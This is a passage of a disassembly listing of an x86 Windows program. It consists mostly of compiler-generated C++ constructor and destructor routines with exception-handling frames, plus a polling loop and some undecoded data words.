27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AE6 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AE6 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AE6 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AE6 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AE6 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AE6 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AE6 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AE6 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AE6 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AE6 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AE6 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AE6 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AE6 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AE6 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AE6 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AE6 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AE6 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AE6 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AE6 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AE6 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AE6 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AE6 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AE6 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AE6 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AE6 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AE6 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AE6 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AE6 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AE6 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AE6 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AE6 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AE6 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AE6 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417120 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417640 proc near ; CODE XREF: sub_4014FBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176E0 proc near ; CODE XREF: sub_401EA1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4177B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4177B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4177B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417870 proc near ; CODE XREF: sub_402239j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417870 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417870 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_401ECEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179F0 proc near ; CODE XREF: sub_4018D9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_4017DAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AD0 proc near ; CODE XREF: sub_401B3Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417AD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417AD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B40 proc near ; CODE XREF: sub_401F46j add ecx, 4 jmp sub_401023 sub_417B40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BE0 proc near ; CODE XREF: sub_401E06j add ecx, 4 jmp sub_401023 sub_417BE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C00 proc near ; CODE XREF: sub_402013j add ecx, 4 jmp sub_401023 sub_417C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_401F00j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417C20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417CC0 proc near ; CODE XREF: sub_401587j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417CC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D60 proc near ; CODE XREF: sub_40164Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E30 proc near ; CODE XREF: sub_401780j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401753 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417EF0 proc near ; CODE XREF: sub_40182Fj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F050 mov eax, esi pop esi retn sub_417EF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F20 proc near ; CODE XREF: sub_4016BDj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F05C mov eax, esi pop esi retn sub_417F20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F50 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418010 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4180D0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4180D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4180D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418150 proc near ; CODE XREF: sub_401D25j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset off_43F090 mov eax, esi pop esi retn sub_418150 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418180 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418180 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418200 proc near ; CODE XREF: sub_401A91j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418200 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418200 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418280 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F09C mov eax, esi pop esi retn sub_418280 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4182B0 proc near ; CODE XREF: sub_401CB7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4182B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4182B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_40157Dj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A4 mov eax, esi pop esi retn sub_418330 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418360 proc near ; CODE XREF: sub_401799j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A8 mov eax, esi pop esi retn sub_418360 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418390 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418390 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418430 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_5118D8 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418448: ; CODE XREF: sub_418430+E4j test bl, bl jnz loc_41851E mov al, [esi+8EF74h] test al, al jnz short loc_41845E mov bl, 1 jmp short loc_418472 ; --------------------------------------------------------------------------- loc_41845E: ; CODE XREF: sub_418430+28j lea ecx, [esi+15Fh] call sub_40186B test al, al setz bl test bl, bl jz short loc_418479 loc_418472: ; CODE XREF: sub_418430+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418479: ; CODE XREF: sub_418430+40j lea ecx, [esp+1Ch+var_C] call sub_4020A4 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F69 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jz short loc_4184FE loc_4184B4: ; CODE XREF: sub_418430+CCj lea ecx, [esp+1Ch+var_C] call sub_402234 mov ecx, [eax] call sub_40174E lea ecx, [esp+1Ch+var_C] call sub_402234 mov eax, [eax] test eax, eax jz short loc_4184DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4184DB: ; CODE XREF: sub_418430+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jnz short loc_4184B4 loc_4184FE: ; CODE XREF: sub_418430+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418448 test bl, bl jz short loc_41852B loc_41851E: ; CODE XREF: sub_418430+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41852B: ; CODE XREF: sub_418430+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418430 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418590 proc near ; CODE XREF: sub_401771j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418590 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E8E9B mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4185D0 push eax jmp short loc_4185D5 ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_418590+3Bj push offset byte_448F30 loc_4185D5: ; CODE XREF: sub_418590+3Ej lea ecx, [esi+9FD57h] call sub_4015E1 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4185EE push edi jmp short loc_4185F3 ; --------------------------------------------------------------------------- loc_4185EE: ; CODE XREF: sub_418590+59j push offset byte_448F30 loc_4185F3: ; CODE XREF: sub_418590+5Cj lea ecx, [esi+9FD6Ch] call sub_4015E1 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418590 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h dd 244C8DFFh, 2685128h, 0E8000002h, 7169E021h, 8E92E890h dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dword_418750 dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h, 69BBE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 